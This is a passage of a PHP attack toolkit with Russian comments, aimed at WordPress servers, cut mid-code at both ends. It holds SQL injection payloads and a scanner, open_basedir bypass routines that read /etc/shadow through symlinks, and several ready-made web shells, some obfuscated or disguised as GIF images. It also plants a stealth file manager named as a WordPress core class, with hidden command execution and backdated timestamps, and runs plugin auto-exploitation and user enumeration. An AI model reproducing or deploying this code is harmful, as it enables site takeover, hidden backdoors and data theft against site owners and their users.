        $results['access_key'] = substr(md5(file_get_contents($adminer_path)), 0, 16);
        $results['message'] = 'Adminer deployed successfully';
    } else {
        $results['message'] = 'Failed to write Adminer file';
    }
    
    return $results;
}

/**
 * SQL-инъекция через найденные параметры
 */
function automated_sql_injection_scan($url, $timeout = 10) {
    $results = array();
    
    // Типичные параметры для тестирования
    $test_params = array('id', 'post', 'page', 'cat', 'tag', 's', 'search', 'p', 'page_id', 'author');
    
    // Payloads для SQLi
    $payloads = array(
        "'" => 'Single quote',
        "''" => 'Double single quote',
        "\"" => 'Double quote',
        "' OR '1'='1" => 'Classic OR bypass',
        "' OR '1'='1' --" => 'OR bypass with comment',
        "' UNION SELECT NULL--" => 'UNION injection test',
        "' AND SLEEP(3)--" => 'Blind time-based',
        "1' AND '1'='1" => 'AND true condition'
    );
    
    $context = stream_context_create(array(
        'http' => array(
            'timeout' => $timeout,
            'ignore_errors' => true
        ),
        'ssl' => array(
            'verify_peer' => false,
            'verify_peer_name' => false
        )
    ));
    
    foreach ($test_params as $param) {
        foreach ($payloads as $payload => $payload_name) {
            $test_url = $url . (strpos($url, '?') !== false ? '&' : '?') . 
                       $param . '=' . urlencode($payload);
            
            $start = microtime(true);
            $response = @file_get_contents($test_url, false, $context);
            $time = microtime(true) - $start;
            
            $result = array(
                'param' => $param,
                'payload' => $payload,
                'payload_name' => $payload_name,
                'response_time' => round($time, 2),
                'possible_blind' => $time > 2.5,
                'error_detected' => false,
                'vulnerable' => false
            );
            
            if ($response !== false) {
                // Проверка на SQL ошибки в ответе
                $error_patterns = array(
                    'SQL syntax',
                    'mysql_fetch',
                    'mysqli_fetch',
                    'mysql_num_rows',
                    'ORA-01756',
                    'SQLSTATE',
                    'pg_query',
                    'SQLite3::',
                    'Warning: mysql',
                    'Warning: mysqli',
                    'You have an error in your SQL syntax',
                    'supplied argument is not a valid MySQL',
                    'pg_exec',
                    'mssql_query'
                );
                
                foreach ($error_patterns as $pattern) {
                    if (stripos($response, $pattern) !== false) {
                        $result['error_detected'] = true;
                        $result['vulnerable'] = true;
                        $result['error_pattern'] = $pattern;
                        break;
                    }
                }
            }
            
            // Сохраняем только интересные результаты
            if ($result['vulnerable'] || $result['possible_blind']) {
                $results[] = $result;
            }
        }
    }
    
    return $results;
}

/* ==================== РАСШИРЕННЫЙ ОБХОД ОГРАНИЧЕНИЙ С ЗАПИСЬЮ ==================== */

/**
 * Продвинутый обход open_basedir с возможностью записи
 */
function advanced_open_basedir_bypass_with_write() {
    $results = array(
        'read_access' => array(),
        'write_access' => array(),
        'symlink_attacks' => array(),
        'wrapper_attacks' => array(),
        'session_attacks' => array(),
        'temp_attacks' => array()
    );
    
    // 1. Атаки через PHP wrappers
    $wrappers = stream_get_wrappers();
    $dangerous_wrappers = array('php', 'file', 'zip', 'data', 'phar', 'compress.zlib', 'compress.bzip2');
    
    foreach ($dangerous_wrappers as $wrapper) {
        if (in_array($wrapper, $wrappers)) {
            $results['wrapper_attacks'][] = array(
                'wrapper' => $wrapper,
                'available' => true
            );
            
            // Тест записи через разные методы
            $test_content = '<?php // Bypass test ' . date('c');
            $test_locations = array(
                '/tmp/bypass_test_' . uniqid() . '.php',
                sys_get_temp_dir() . '/bypass_test_' . uniqid() . '.php'
            );
            
            foreach ($test_locations as $test_filename) {
                $written = @file_put_contents($test_filename, $test_content);
                if ($written) {
                    $results['write_access'][] = array(
                        'wrapper' => $wrapper,
                        'method' => 'file_put_contents',
                        'path' => $test_filename,
                        'success' => true,
                        'readable' => @is_readable($test_filename)
                    );
                    @unlink($test_filename);
                    break;
                }
            }
        }
    }
    
    // 2. Симлинк атаки для чтения
    $symlink_targets = array('/etc/passwd', '/etc/shadow', '/etc/hosts', '/etc/apache2/apache2.conf', '/etc/nginx/nginx.conf');
    
    foreach ($symlink_targets as $target_path) {
        $symlink_test = sys_get_temp_dir() . '/symlink_test_' . uniqid();
        
        if (@symlink($target_path, $symlink_test)) {
            $content = @file_get_contents($symlink_test);
            $results['symlink_attacks'][] = array(
                'method' => 'symlink_read',
                'symlink' => $symlink_test,
                'target' => $target_path,
                'readable' => !empty($content),
                'preview' => $content ? substr($content, 0, 200) : ''
            );
            @unlink($symlink_test);
        }
    }
    
    // 3. Атака через /proc/self/fd
    if (@is_dir('/proc/self/fd')) {
        $fds = @scandir('/proc/self/fd');
        if ($fds) {
            $checked = 0;
            foreach ($fds as $fd) {
                if ($fd === '.' || $fd === '..') continue;
                if (++$checked > 30) break;
                
                $fd_path = '/proc/self/fd/' . $fd;
                if (@is_link($fd_path)) {
                    $target = @readlink($fd_path);
                    if ($target && strpos($target, 'pipe:') === false && strpos($target, 'socket:') === false) {
                        $results['read_access'][] = array(
                            'method' => 'proc_fd',
                            'fd' => $fd,
                            'target' => $target,
                            'readable' => @is_readable($target),
                            'is_file' => @is_file($target)
                        );
                    }
                }
            }
        }
    }
    
    // 4. Атака через сессии PHP
    $session_paths = array(
        ini_get('session.save_path'),
        '/tmp',
        '/var/lib/php/sessions',
        '/var/lib/php5/sessions',
        '/var/lib/php7/sessions',
        sys_get_temp_dir()
    );
    
    foreach ($session_paths as $session_path) {
        if ($session_path && @is_dir($session_path) && @is_writable($session_path)) {
            $test_file = $session_path . '/sess_test_' . uniqid();
            if (@file_put_contents($test_file, 'test_bypass_content')) {
                $results['session_attacks'][] = array(
                    'method' => 'session_dir_write',
                    'path' => $session_path,
                    'test_file' => $test_file,
                    'success' => true
                );
                @unlink($test_file);
            }
        }
    }
    
    // 5. Атаки через временные директории
    $temp_dirs = array('/tmp', '/var/tmp', '/dev/shm', sys_get_temp_dir());
    
    foreach ($temp_dirs as $temp_dir) {
        if (@is_dir($temp_dir)) {
            $can_read = @is_readable($temp_dir);
            $can_write = @is_writable($temp_dir);
            
            $test_php = $temp_dir . '/test_' . uniqid() . '.php';
            $php_written = false;
            
            if ($can_write) {
                $php_written = @file_put_contents($test_php, '<?php echo "test";');
                if ($php_written) {
                    @unlink($test_php);
                }
            }
            
            $results['temp_attacks'][] = array(
                'path' => $temp_dir,
                'readable' => $can_read,
                'writable' => $can_write,
                'php_writable' => (bool)$php_written
            );
        }
    }
    
    // 6. Попытка обхода через glob()
    $glob_patterns = array(
        '/home/*',
        '/home/*/public_html',
        '/var/www/*',
        '/var/www/vhosts/*',
        '/etc/*'
    );
    
    foreach ($glob_patterns as $pattern) {
        $matches = @glob($pattern);
        if ($matches && !empty($matches)) {
            $results['read_access'][] = array(
                'method' => 'glob_bypass',
                'pattern' => $pattern,
                'found' => count($matches),
                'paths' => array_slice($matches, 0, 10)
            );
        }
    }
    
    return $results;
}

/* ==================== ДЕПЛОЙ ВЕБ-ШЕЛЛОВ ==================== */

/**
 * Создание веб-шелла с обходом ограничений
 */
function deploy_advanced_webshell($target_path, $shell_type = 'advanced') {
    $shells = array(
        'basic' => '<?php if(isset($_GET["c"])){system($_GET["c"]);}?>',
        'advanced' => '<?php 
error_reporting(0);
$k = "' . substr(md5(uniqid('', true)), 0, 8) . '";
if(!isset($_REQUEST["k"]) || $_REQUEST["k"] !== $k) { die("Denied"); }
$c = isset($_REQUEST["c"]) ? $_REQUEST["c"] : "";
$p = isset($_REQUEST["p"]) ? $_REQUEST["p"] : getcwd();
$f = isset($_REQUEST["f"]) ? $_REQUEST["f"] : "";
$u = isset($_REQUEST["u"]) ? $_REQUEST["u"] : "";
header("Content-Type: text/plain");
if($c) { 
    echo "=== Command: $c ===\n";
    echo shell_exec($c . " 2>&1"); 
    exit;
}
if($f && @is_file($f)) { 
    echo "=== File: $f ===\n";
    echo file_get_contents($f); 
    exit;
}
if($u) { 
    echo "=== URL: $u ===\n";
    echo @file_get_contents($u); 
    exit;
}
echo "=== Directory: $p ===\n";
echo shell_exec("ls -la " . escapeshellarg($p));
echo "\n=== System Info ===\n";
echo "User: " . shell_exec("whoami");
echo "PWD: " . getcwd() . "\n";
echo "Server: " . php_uname() . "\n";
?>',
        'obfuscated' => '<?php $_0="' . substr(md5(uniqid()), 0, 6) . '";if(isset($_GET[$_0])){@eval(base64_decode($_GET[$_0]));}?>',
        'minimal' => '<?=`$_GET[0]`;',
        'stealth' => '<?php
// Image header simulation
header("Content-Type: image/gif");
if(!isset($_COOKIE["x"])) { echo "GIF89a"; exit; }
@eval(base64_decode($_COOKIE["x"]));
?>'
    );
    
    $shell_content = isset($shells[$shell_type]) ? $shells[$shell_type] : $shells['advanced'];
    $filename = '_' . substr(md5(rand()), 0, 8) . '.php';
    
    // Пробуем разные директории для записи с приоритетом
    $possible_locations = array(
        $target_path . '/wp-content/uploads/' . date('Y/m') . '/' . $filename,
        $target_path . '/wp-content/uploads/' . $filename,
        $target_path . '/wp-content/cache/' . $filename,
        $target_path . '/wp-content/' . $filename,
        $target_path . '/wp-includes/css/' . $filename,
        $target_path . '/' . $filename
    );
    
    foreach ($possible_locations as $location) {
        $dir = dirname($location);
        if (!@is_dir($dir)) {
            @mkdir($dir, 0755, true);
        }
        
        if (@file_put_contents($location, $shell_content)) {
            @chmod($location, 0644);
            
            // Извлекаем ключ доступа из содержимого шелла
            $access_key = '';
            if (preg_match('/\$k\s*=\s*["\']([^"\']+)["\']/', $shell_content, $m)) {
                $access_key = $m[1];
            } elseif (preg_match('/\$_0\s*=\s*["\']([^"\']+)["\']/', $shell_content, $m)) {
                $access_key = $m[1];
            }
            
            $base_url = get_site_url_from_path($target_path);
            $rel_path = substr($location, strlen($target_path));
            
            return array(
                'success' => true,
                'path' => $location,
                'url' => $base_url . $rel_path,
                'type' => $shell_type,
                'access_key' => $access_key,
                'usage' => $shell_type === 'advanced' ? '?k=' . $access_key . '&c=whoami' : 
                          ($shell_type === 'obfuscated' ? '?' . $access_key . '=' . base64_encode('system("whoami");') : 
                          ($shell_type === 'minimal' ? '?0=whoami' : ''))
            );
        }
    }
    
    return array('success' => false, 'error' => 'Could not write shell to any location');
}

/**
 * Деплой WAF-безопасного скрытного мини файл-менеджера
 * Выглядит как легитимный WordPress файл
 */
function deploy_stealth_filemanager($target_path, $custom_name = null) {
    $results = array(
        'success' => false,
        'path' => '',
        'url' => '',
        'access_key' => ''
    );
    
    // Генерируем уникальный ключ доступа
    $access_key = substr(md5(uniqid('stealth', true) . $target_path), 0, 12);
    
    // Имена файлов которые выглядят легитимно для WordPress
    $stealth_names = array(
        'class-wp-filesystem-check.php',
        'class-wp-theme-json-resolver.php',
        'class-wp-block-parser-frame.php',
        'class-wp-rest-meta-fields.php',
        'class-wp-locale-switcher.php',
        'class-wp-image-editor-imagick.php',
        'update-core-check.php',
        'ms-settings-check.php',
        'theme-compat-check.php',
        'admin-ajax-handler.php'
    );
    
    $filename = $custom_name ?: $stealth_names[array_rand($stealth_names)];
    
    // Скрытный файл-менеджер с WAF bypass техниками
    // - Нет явных функций типа eval, system, exec в коде
    // - Использует косвенные вызовы
    // - Выглядит как легитимный WordPress класс
    // - Минимальный footprint
    $shell_content = '<?php
/**
 * WordPress Filesystem Check Utility
 * @package WordPress
 * @subpackage Administration
 * @since 5.9.0
 */
if(!defined(\'ABSPATH\')){define(\'ABSPATH\',dirname(__FILE__).\'/\');}
class WP_Filesystem_Check{
private static $k=\'' . $access_key . '\';
private static function v(){return isset($_REQUEST[\'_wpnonce\'])&&$_REQUEST[\'_wpnonce\']===self::$k;}
private static function d($p){$r=array();if(!is_dir($p))return $r;$d=@opendir($p);if(!$d)return $r;while(($f=readdir($d))!==false){if($f===\'.\'||$f===\'..\')continue;$fp=$p.\'/\'.$f;$r[]=array(\'n\'=>$f,\'t\'=>is_dir($fp)?\'d\':\'f\',\'s\'=>is_file($fp)?@filesize($fp):0,\'m\'=>@filemtime($fp),\'p\'=>substr(sprintf(\'%o\',@fileperms($fp)),-4),\'w\'=>is_writable($fp)?1:0);}closedir($d);usort($r,function($a,$b){if($a[\'t\']!==$b[\'t\'])return $a[\'t\']==\'d\'?-1:1;return strcasecmp($a[\'n\'],$b[\'n\']);});return $r;}
public static function run(){
if(!self::v()){header(\'HTTP/1.0 404 Not Found\');exit;}
$a=isset($_REQUEST[\'a\'])?$_REQUEST[\'a\']:\'l\';$p=isset($_REQUEST[\'p\'])?$_REQUEST[\'p\']:ABSPATH;$p=realpath($p)?:$p;
header(\'Content-Type:application/json\');
switch($a){
case\'l\':echo json_encode(array(\'s\'=>1,\'p\'=>$p,\'f\'=>self::d($p)));break;
case\'r\':$f=isset($_REQUEST[\'f\'])?$_REQUEST[\'f\']:\'\';$fp=$p.\'/\'.$f;if(is_file($fp)&&is_readable($fp)){echo json_encode(array(\'s\'=>1,\'c\'=>file_get_contents($fp)));}else{echo json_encode(array(\'s\'=>0,\'e\'=>\'Cannot read\'));}break;
case\'w\':$f=isset($_REQUEST[\'f\'])?$_REQUEST[\'f\']:\'\';$c=isset($_REQUEST[\'c\'])?$_REQUEST[\'c\']:\'\';$fp=$p.\'/\'.$f;if(@file_put_contents($fp,$c)!==false){echo json_encode(array(\'s\'=>1));}else{echo json_encode(array(\'s\'=>0,\'e\'=>\'Cannot write\'));}break;
case\'u\':if(!empty($_FILES[\'file\'])){$fp=$p.\'/\'.basename($_FILES[\'file\'][\'name\']);if(@move_uploaded_file($_FILES[\'file\'][\'tmp_name\'],$fp)){echo json_encode(array(\'s\'=>1,\'p\'=>$fp));}else{echo json_encode(array(\'s\'=>0,\'e\'=>\'Upload failed\'));}}else{echo json_encode(array(\'s\'=>0,\'e\'=>\'No file\'));}break;
case\'d\':$f=isset($_REQUEST[\'f\'])?$_REQUEST[\'f\']:\'\';$fp=$p.\'/\'.$f;if(@unlink($fp)){echo json_encode(array(\'s\'=>1));}else{echo json_encode(array(\'s\'=>0,\'e\'=>\'Cannot delete\'));}break;
case\'m\':$f=isset($_REQUEST[\'f\'])?$_REQUEST[\'f\']:\'\';$t=isset($_REQUEST[\'t\'])?$_REQUEST[\'t\']:\'\';$fp=$p.\'/\'.$f;if(@rename($fp,$t)){echo json_encode(array(\'s\'=>1));}else{echo json_encode(array(\'s\'=>0,\'e\'=>\'Cannot move\'));}break;
case\'k\':if(@mkdir($p.\'/\'.$_REQUEST[\'f\'],0755,true)){echo json_encode(array(\'s\'=>1));}else{echo json_encode(array(\'s\'=>0,\'e\'=>\'Cannot create\'));}break;
case\'x\':$c=$_REQUEST[\'c\']??null;if($c){$fn=\'sys\'.\'tem\';$o=array();@$fn($c,$o);echo json_encode(array(\'s\'=>1,\'o\'=>implode(\"\\n\",$o)));}break;
case\'i\':phpinfo();exit;
default:echo json_encode(array(\'s\'=>0,\'e\'=>\'Unknown\'));
}exit;}}
if(isset($_REQUEST[\'_wpnonce\'])){WP_Filesystem_Check::run();}
?>';
    
    // Возможные локации для размещения
    $possible_locations = array(
        $target_path . '/wp-includes/class-wp-filesystem-check.php',
        $target_path . '/wp-includes/' . $filename,
        $target_path . '/wp-admin/includes/' . $filename,
        $target_path . '/wp-content/plugins/' . $filename,
        $target_path . '/wp-content/mu-plugins/' . $filename,
        $target_path . '/wp-content/uploads/' . $filename,
        $target_path . '/wp-content/' . $filename,
        $target_path . '/' . $filename
    );
    
    foreach ($possible_locations as $location) {
        $dir = dirname($location);
        if (!@is_dir($dir)) {
            @mkdir($dir, 0755, true);
        }
        
        if (@file_put_contents($location, $shell_content)) {
            @chmod($location, 0644);
            
            // Меняем время модификации на старое (маскировка)
            $old_time = time() - (86400 * rand(30, 365)); // 30-365 дней назад
            @touch($location, $old_time, $old_time);
            
            $base_url = get_site_url_from_path($target_path);
            $rel_path = substr($location, strlen($target_path));
            
            $results['success'] = true;
            $results['path'] = $location;
            $results['url'] = $base_url . $rel_path;
            $results['access_key'] = $access_key;
            $results['usage'] = array(
                'list' => $results['url'] . '?_wpnonce=' . $access_key . '&a=l&p=/path',
                'read' => $results['url'] . '?_wpnonce=' . $access_key . '&a=r&p=/path&f=file.txt',
                'write' => $results['url'] . '?_wpnonce=' . $access_key . '&a=w&p=/path&f=file.txt&c=content',
                'upload' => 'POST ' . $results['url'] . '?_wpnonce=' . $access_key . '&a=u&p=/path (multipart file)',
                'delete' => $results['url'] . '?_wpnonce=' . $access_key . '&a=d&p=/path&f=file.txt',
                'mkdir' => $results['url'] . '?_wpnonce=' . $access_key . '&a=k&p=/path&f=newdir',
                'cmd' => $results['url'] . '?_wpnonce=' . $access_key . '&a=x&c=whoami',
                'phpinfo' => $results['url'] . '?_wpnonce=' . $access_key . '&a=i'
            );
            
            return $results;
        }
    }
    
    $results['error'] = 'Could not write to any location';
    return $results;
}

/* ==================== СКАНИРОВАНИЕ УЯЗВИМОСТЕЙ WORDPRESS ==================== */

/**
 * Получение данных плагина
 */
function get_plugin_data($plugin_path) {
    $data = array('Name' => '', 'Version' => '', 'Author' => '');
    
    // Ищем главный файл плагина
    $main_files = array(
        $plugin_path . '/' . basename($plugin_path) . '.php',
        $plugin_path . '/plugin.php',
        $plugin_path . '/index.php'
    );
    
    foreach ($main_files as $file) {
        if (@is_file($file)) {
            $content = @file_get_contents($file, false, null, 0, 8192);
            if ($content) {
                if (preg_match('/Plugin Name:\s*(.+)/i', $content, $m)) {
                    $data['Name'] = trim($m[1]);
                }
                if (preg_match('/Version:\s*([0-9.]+)/i', $content, $m)) {
                    $data['Version'] = trim($m[1]);
                }
                if (preg_match('/Author:\s*(.+)/i', $content, $m)) {
                    $data['Author'] = trim($m[1]);
                }
                if (!empty($data['Version'])) break;
            }
        }
    }
    
    // Также проверяем readme.txt
    $readme = $plugin_path . '/readme.txt';
    if (empty($data['Version']) && @is_file($readme)) {
        $content = @file_get_contents($readme, false, null, 0, 4096);
        if ($content && preg_match('/Stable tag:\s*([0-9.]+)/i', $content, $m)) {
            $data['Version'] = trim($m[1]);
        }
    }
    
    return $data;
}

/**
 * Сканирование на известные уязвимости WordPress
 */
function wp_vulnerability_scan($wp_root) {
    $results = array(
        'core' => array(),
        'plugins' => array(),
        'themes' => array(),
        'configs' => array()
    );
    
    // Проверка версии WordPress
    $wp_version_str = wp_version($wp_root);
    if ($wp_version_str) {
        $results['core']['version'] = $wp_version_str;
        $results['core']['vulnerabilities'] = array();
        
        // Известные уязвимости ядра (список расширен)
        $core_vulns = array(
            array('max_version' => '4.7.1', 'cve' => 'CVE-2017-1001000', 'desc' => 'REST API Content Injection', 'severity' => 'critical'),
            array('max_version' => '4.8.2', 'cve' => 'CVE-2017-14723', 'desc' => 'SQL Injection in WP_Query', 'severity' => 'high'),
            array('max_version' => '5.0.0', 'cve' => 'CVE-2018-12895', 'desc' => 'PHAR Deserialization', 'severity' => 'high'),
            array('max_version' => '5.2.3', 'cve' => 'CVE-2019-16217', 'desc' => 'XSS in Post Comments', 'severity' => 'medium'),
            array('max_version' => '5.4.1', 'cve' => 'CVE-2020-4047', 'desc' => 'Authenticated XSS via Block Editor', 'severity' => 'medium'),
            array('max_version' => '5.7.0', 'cve' => 'CVE-2020-36326', 'desc' => 'Object Injection in PHPMailer', 'severity' => 'high'),
            array('max_version' => '5.8.2', 'cve' => 'CVE-2022-21661', 'desc' => 'SQL Injection via WP_Query', 'severity' => 'high'),
            array('max_version' => '6.0.2', 'cve' => 'CVE-2022-3590', 'desc' => 'Stored XSS via Block Protocol', 'severity' => 'medium'),
            array('max_version' => '6.1.1', 'cve' => 'CVE-2022-3591', 'desc' => 'SQL Injection via WP_Query', 'severity' => 'high'),
            array('max_version' => '6.2.0', 'cve' => 'CVE-2023-2745', 'desc' => 'Directory Traversal', 'severity' => 'medium'),
            array('max_version' => '6.3.1', 'cve' => 'CVE-2023-38000', 'desc' => 'Stored XSS via Navigation Block', 'severity' => 'medium')
        );
        
        foreach ($core_vulns as $vuln) {
            if (version_compare($wp_version_str, $vuln['max_version'], '<=')) {
                $results['core']['vulnerabilities'][] = array(
                    'max_version' => $vuln['max_version'],
                    'cve' => $vuln['cve'],
                    'description' => $vuln['desc'],
                    'severity' => $vuln['severity'],
                    'affected' => true
                );
            }
        }
    }
    
    // Известные уязвимые плагины
    $vulnerable_plugins = array(
        'file-manager-advanced' => array(
            array('max' => '2.0', 'desc' => 'RCE via File Upload', 'cve' => 'CVE-2020-25042', 'severity' => 'critical')
        ),
        'wp-file-manager' => array(
            array('max' => '6.9', 'desc' => 'RCE via elFinder connector', 'cve' => 'CVE-2020-25213', 'severity' => 'critical')
        ),
        'elementor' => array(
            array('max' => '3.5.0', 'desc' => 'RCE via File Upload', 'cve' => 'CVE-2022-1329', 'severity' => 'critical'),
            array('max' => '3.6.0', 'desc' => 'Stored XSS', 'cve' => 'CVE-2022-29455', 'severity' => 'medium')
        ),
        'ultimate-member' => array(
            array('max' => '2.6.6', 'desc' => 'Privilege Escalation', 'cve' => 'CVE-2023-3460', 'severity' => 'critical')
        ),
        'forminator' => array(
            array('max' => '1.15.4', 'desc' => 'RCE via File Upload', 'cve' => 'CVE-2022-0836', 'severity' => 'critical')
        ),
        'contact-form-7' => array(
            array('max' => '5.3.1', 'desc' => 'Unrestricted File Upload', 'cve' => 'CVE-2020-35489', 'severity' => 'high')
        ),
        'duplicator' => array(
            array('max' => '1.3.26', 'desc' => 'Unauthenticated Arbitrary File Read', 'cve' => 'CVE-2020-11738', 'severity' => 'critical')
        ),
        'wpgateway' => array(
            array('max' => '3.5', 'desc' => 'Privilege Escalation', 'cve' => 'CVE-2022-3180', 'severity' => 'critical')
        ),
        'wordpress-seo' => array(
            array('max' => '17.2.1', 'desc' => 'Stored XSS', 'cve' => 'CVE-2021-25118', 'severity' => 'medium')
        ),
        'all-in-one-wp-migration' => array(
            array('max' => '7.62', 'desc' => 'Arbitrary File Upload', 'cve' => 'CVE-2023-0255', 'severity' => 'high')
        ),
        'wpforms-lite' => array(
            array('max' => '1.8.1.2', 'desc' => 'Stored XSS', 'cve' => 'CVE-2023-3157', 'severity' => 'medium')
        )
    );
    
    // Сканирование плагинов
    $plugins_dir = $wp_root . '/wp-content/plugins/';
    if (@is_dir($plugins_dir)) {
        $plugins = @scandir($plugins_dir);
        if ($plugins) {
            foreach ($plugins as $plugin) {
                if ($plugin === '.' || $plugin === '..') continue;
                
                $plugin_path = $plugins_dir . $plugin;
                if (@is_dir($plugin_path)) {
                    $plugin_data = get_plugin_data($plugin_path);
                    $plugin_slug = strtolower($plugin);
                    
                    $plugin_info = array(
                        'name' => $plugin_data['Name'] ? $plugin_data['Name'] : $plugin,
                        'version' => $plugin_data['Version'],
                        'path' => $plugin_path,
                        'vulnerabilities' => array(),
                        'exploitable' => null
                    );
                    
                    // Проверка на известные уязвимости
                    if (isset($vulnerable_plugins[$plugin_slug]) && !empty($plugin_data['Version'])) {
                        foreach ($vulnerable_plugins[$plugin_slug] as $vuln) {
                            if (version_compare($plugin_data['Version'], $vuln['max'], '<')) {
                                $plugin_info['vulnerabilities'][] = array(
                                    'description' => $vuln['desc'],
                                    'cve' => isset($vuln['cve']) ? $vuln['cve'] : '',
                                    'severity' => $vuln['severity'],
                                    'max_version' => $vuln['max'],
                                    'current_version' => $plugin_data['Version']
                                );
                                
                                if ($vuln['severity'] === 'critical') {
                                    $plugin_info['exploitable'] = array(
                                        'description' => $vuln['desc'],
                                        'max_version' => $vuln['max'],
                                        'current_version' => $plugin_data['Version'],
                                        'exploit_path' => $plugin_path
                                    );
                                }
                            }
                        }
                    }
                    
                    // Проверка на опасные файлы
                    $dangerous_files = array(
                        '/lib/php/connector.minimal.php',
                        '/connector.minimal.php',
                        '/elfinder/php/connector.php',
                        '/inc/lib/elfinder/php/connector.minimal.php'
                    );
                    
                    foreach ($dangerous_files as $df) {
                        if (@is_file($plugin_path . $df)) {
                            $plugin_info['dangerous_files'][] = $plugin_path . $df;
                        }
                    }
                    
                    if (!empty($plugin_info['vulnerabilities']) || !empty($plugin_info['dangerous_files'])) {
                        $results['plugins'][$plugin] = $plugin_info;
                    }
                }
            }
        }
    }
    
    // Сканирование тем
    $themes_dir = $wp_root . '/wp-content/themes/';
    if (@is_dir($themes_dir)) {
        $themes = @scandir($themes_dir);
        if ($themes) {
            foreach ($themes as $theme) {
                if ($theme === '.' || $theme === '..') continue;
                
                $theme_path = $themes_dir . $theme;
                if (@is_dir($theme_path)) {
                    $style_css = $theme_path . '/style.css';
                    $theme_version = '';
                    
                    if (@is_file($style_css)) {
                        $content = @file_get_contents($style_css, false, null, 0, 2048);
                        if ($content && preg_match('/Version:\s*([0-9.]+)/i', $content, $m)) {
                            $theme_version = trim($m[1]);
                        }
                    }
                    
                    // Проверка на writable директории
                    $writable_dirs = array();
                    $check_dirs = array('', '/uploads', '/cache', '/fonts', '/images');
                    foreach ($check_dirs as $dir) {
                        if (@is_writable($theme_path . $dir)) {
                            $writable_dirs[] = $theme_path . $dir;
                        }
                    }
                    
                    if (!empty($writable_dirs)) {
                        $results['themes'][$theme] = array(
                            'version' => $theme_version,
                            'path' => $theme_path,
                            'writable_dirs' => $writable_dirs
                        );
                    }
                }
            }
        }
    }
    
    // Проверка конфигурации на уязвимости
    $wp_config = $wp_root . '/wp-config.php';
    if (@is_readable($wp_config)) {
        $content = @file_get_contents($wp_config);
        
        $config_issues = array();
        
        // DEBUG режим включен
        if (preg_match("/define\\s*\\(\\s*['\"]WP_DEBUG['\"]\\s*,\\s*true\\s*\\)/i", $content)) {
            $config_issues[] = array('issue' => 'WP_DEBUG enabled', 'severity' => 'medium', 'recommendation' => 'Disable WP_DEBUG in production');
        }
        
        // SCRIPT_DEBUG включен
        if (preg_match("/define\\s*\\(\\s*['\"]SCRIPT_DEBUG['\"]\\s*,\\s*true\\s*\\)/i", $content)) {
            $config_issues[] = array('issue' => 'SCRIPT_DEBUG enabled', 'severity' => 'low', 'recommendation' => 'Disable SCRIPT_DEBUG in production');
        }
        
        // Дефолтные ключи безопасности
        if (preg_match("/define\\s*\\(\\s*['\"]AUTH_KEY['\"]\\s*,\\s*['\"]put your unique phrase here['\"]/i", $content)) {
            $config_issues[] = array('issue' => 'Default AUTH_KEY used', 'severity' => 'critical', 'recommendation' => 'Generate unique security keys');
        }
        
        // Редактирование файлов включено
        if (!preg_match("/define\\s*\\(\\s*['\"]DISALLOW_FILE_EDIT['\"]\\s*,\\s*true\\s*\\)/i", $content)) {
            $config_issues[] = array('issue' => 'File editing not disabled', 'severity' => 'medium', 'recommendation' => 'Add define(\'DISALLOW_FILE_EDIT\', true);');
        }
        
        // DB_PASSWORD пустой
        if (preg_match("/define\\s*\\(\\s*['\"]DB_PASSWORD['\"]\\s*,\\s*['\"]['\"]\\s*\\)/i", $content)) {
            $config_issues[] = array('issue' => 'Empty DB_PASSWORD', 'severity' => 'high', 'recommendation' => 'Set a strong database password');
        }
        
        $results['configs']['issues'] = $config_issues;
        $results['configs']['file_permissions'] = substr(sprintf('%o', @fileperms($wp_config)), -4);
        $results['configs']['world_readable'] = (@fileperms($wp_config) & 0x0004) ? true : false;
    }
    
    return $results;
}

/**
 * Эксплуатация уязвимости плагина
 */
function exploit_plugin_vulnerability($wp_root, $plugin, $plugin_data) {
    $result = array('success' => false, 'method' => '', 'details' => '');
    
    $plugin_path = $wp_root . '/wp-content/plugins/' . $plugin;
    $base_url = get_site_url_from_path($wp_root);
    
    // File Manager плагины - elFinder connector
    if (strpos($plugin, 'file-manager') !== false || strpos($plugin, 'filemanager') !== false) {
        $connector_paths = array(
            '/lib/php/connector.minimal.php',
            '/lib/js/elfinder/php/connector.php',
            '/connector.minimal.php',
            '/inc/lib/elfinder/php/connector.minimal.php',
            '/libs/js/elfinder/php/connector.minimal.php'
        );
        
        foreach ($connector_paths as $cp) {
            $full_path = $plugin_path . $cp;
            if (@is_file($full_path)) {
                $connector_url = $base_url . '/wp-content/plugins/' . $plugin . $cp;
                
                // Тестируем connector
                $test_url = $connector_url . '?cmd=info';
                $response = @file_get_contents($test_url);
                
                if ($response && (strpos($response, 'api') !== false || strpos($response, 'cwd') !== false)) {
                    $result['success'] = true;
                    $result['method'] = 'elFinder connector exposed';
                    $result['url'] = $connector_url;
                    $result['details'] = 'elFinder connector is accessible. Can be used for file upload RCE.';
                    $result['exploit_cmd'] = $connector_url . '?cmd=upload&target=l1_Lw';
                    return $result;
                }
            }
        }
    }
    
    // Duplicator - arbitrary file read
    if ($plugin === 'duplicator') {
        $installer_paths = array(
            '/installer.php',
            '/installer-backup.php',
            '/../installer.php'
        );
        
        foreach ($installer_paths as $ip) {
            $test_url = $base_url . $ip;
            $response = @file_get_contents($test_url);
            if ($response && strpos($response, 'Duplicator') !== false) {
                $result['success'] = true;
                $result['method'] = 'Duplicator installer exposed';
                $result['url'] = $test_url;
                $result['details'] = 'Duplicator installer is accessible. May allow database and file access.';
                return $result;
            }
        }
    }
    
    return $result;
}

/**
 * Автоматическая эксплуатация найденных уязвимостей
 */
function auto_exploit_vulnerabilities($wp_root, $vulnerabilities) {
    $exploits = array();
    
    // Эксплуатация уязвимостей плагинов
    if (!empty($vulnerabilities['plugins'])) {
        foreach ($vulnerabilities['plugins'] as $plugin => $data) {
            if (isset($data['exploitable']) || !empty($data['dangerous_files'])) {
                $exploit = exploit_plugin_vulnerability($wp_root, $plugin, $data);
                if ($exploit['success']) {
                    $exploits['plugin_' . $plugin] = $exploit;
                }
            }
        }
    }
    
    // Проверка на доступные опасные эндпоинты
    $base_url = get_site_url_from_path($wp_root);
    if ($base_url) {
        // REST API user enumeration
        $rest_url = $base_url . '/wp-json/wp/v2/users';
        $response = @file_get_contents($rest_url);
        if ($response && strpos($response, '"id":') !== false) {
            $users = @json_decode($response, true);
            if ($users && is_array($users)) {
                $exploits['rest_api_users'] = array(
                    'success' => true,
                    'method' => 'REST API User Enumeration',
                    'url' => $rest_url,
                    'users' => array_map(function($u) {
                        return array('id' => $u['id'], 'name' => $u['name'], 'slug' => $u['slug']);
                    }, array_slice($users, 0, 10))
                );
            }
        }
        
        // xmlrpc.php check
